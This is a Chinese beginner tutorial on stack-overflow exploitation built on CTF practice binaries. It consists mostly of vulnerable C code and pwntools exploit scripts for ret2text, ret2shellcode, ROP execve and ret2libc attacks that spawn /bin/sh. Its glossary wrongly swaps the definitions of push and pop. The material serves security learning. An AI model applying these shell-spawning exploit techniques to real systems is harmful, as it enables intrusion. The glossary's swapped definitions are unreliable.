pwn新手入门之栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13

#include <stdio.h>
#include <string.h>
void success() { puts("flag{208f1b1289da972682cbc81c8684fcc8}"); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

1

gcc -m32 -fno-stack-protector -no-pie stack1.c -o stack1

1
2
3
4
5
6

from pwn import *

sh = process("./stack1")
payload="a"*0x18+p32(0x08048456)
sh.sendline(payload)
sh.interactive()

1
2
3
4
5
6
7
8
9

MOV %src %dest :把数据从源地放到目的地

push：从栈中取出一个元素

POP：往栈中压入一个元素

call：将当前的指令指针EIP(该指针指向紧接在call指令后的下条指令)压入堆栈

ret：从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中，程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)

1
2
3
4
5
6
7
8
9
10
11

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; 

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(&s);
  printf("Maybe I will tell you next time !");
  return 0;
}

1
2
3
4
5

from pwn import *
sh = process("./ret2text")
payload = 'a'*112 + p32(0x0804863A)
sh.sendline(payload)
sh.interactive()

1
2
3
4
5
6
7
8
9
10
11
12

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; 

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

1
2
3
4

gdb ret2shellcode  #使用gdb
b main             #在main下断点
r                  #运行程序
vmmap              #查看栈、bss段是否可以执行

1

0x0804a000 0x0804b000 rwxp	/home/hacker/Desktop/gongfangword-pwn/ret2shellcode

1
2
3
4
5
6
7
8
9

from pwn import *
p = process("./ret2shellcode")

shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(112, 'a') + p32(0x0804A080)
p.sendline(payload)
p.interactive()

1
2
3
4
5
6
7
8
9
10

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; 

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;

1

cat /usr/include/asm/unistd_32.h | grep execve

1

ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

1

ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

1

ROPgadget --binary rop --string '/bin/sh'

1

ROPgadget --binary rop --only 'int'

1
2
3
4
5
6
7
8
9
10
11

from pwn import *
p = process("./rop")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
bin_sh = 0x080be408
int_80 = 0x08049421

payload = 'a'*112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_80)
p.sendline(payload)
p.interactive()

1
2
3

1、有system 有/bin/sh
2、有system 无/bin/sh
3、无system 无/bin/sh

1
2
3
4
5
6
7
8
9
10

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; 

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

1

ROPgadget --binary ret2libc1 --string '/bin/sh'

1
2
3
4
5
6
7
8
9

from pwn import *
p = process("./ret2libc1")
system_a = 0x08048460
bin_sh_a = 0x08048720

payload = 'a'*112 + p32(system_a) + 'b'*4 + p32(bin_sh_a)
p.sendline(payload)
p.interactive()

1
2
3
4
5
6
7
8
9
10
11

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; 

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

1
2
3
4
5
6
7
8
9
10
11

from pwn import *
p = process("./ret2libc2")
get_addr = 0x08048460
sys_addr = 0x08048490
bss_addr = 0x0804A080

payload = 'a'*112 + p32(get_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

1
2
3
4
5
6
7
8
9
10
11

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; 

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

1
2
3
4
5
6
7

1.先通过一次栈溢出，将puts的plt地址放到返回处，通过代码中的puts(输出)功能泄露出执行过的函数(puts)的got地址

2.将puts的返回地址设置为_start函数（我们在ida中看到的main()函数是用户代码的入口，是对于用户而言），而start函数是系统代码入口，是程序最初被执行的地方，也就是程序真正的入口），以用来执行system('/bin/sh')

3.通过泄露出的got地址计算出libc中的system和/bin/sh的地址

4.再次执行栈溢出，把返回地址换成system的地址达到getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

from pwn import *
p = process("./ret2libc3")
elf = ELF("./ret2libc3")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']

payload_1 = 'a'*112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
p.sendlineafter("Can you find it !?",payload_1)
puts_addr = u32(p.recv(4))

libc = elf.libc
libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search('/bin/sh'))

payload_2 = 'a'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr)
p.sendlineafter("Can you find it !?", payload_2)
p.interactive()